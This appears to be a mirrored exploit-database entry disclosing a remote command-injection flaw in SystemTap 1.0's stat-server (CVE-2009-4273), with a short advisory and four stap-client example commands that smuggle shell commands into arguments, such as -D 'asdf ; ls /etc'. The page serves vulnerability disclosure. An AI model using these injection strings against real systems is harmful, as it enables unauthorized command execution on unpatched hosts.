Exploit SystemTap 1.0 - 'stat-server' Arbitrary Command Injection

[Exploiter]

EDB-ID

33535

Проверка EDB

1. Пройдено

Автор

FRANK CH. EIGLER

Тип уязвимости

REMOTE

Платформа

LINUX

CVE

cve-2009-4273

Дата публикации

2010-01-15

source: https://www.securityfocus.com/bid/37842/info

SystemTap is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

Versions prior to SystemTap 1.1 are vulnerable. 


The following example commands are available:

stap-client \; ...
stap-client -; ...
stap-client -D 'asdf ; ls /etc' ...
stap-client -e 'script' -D 'asdf ; \; '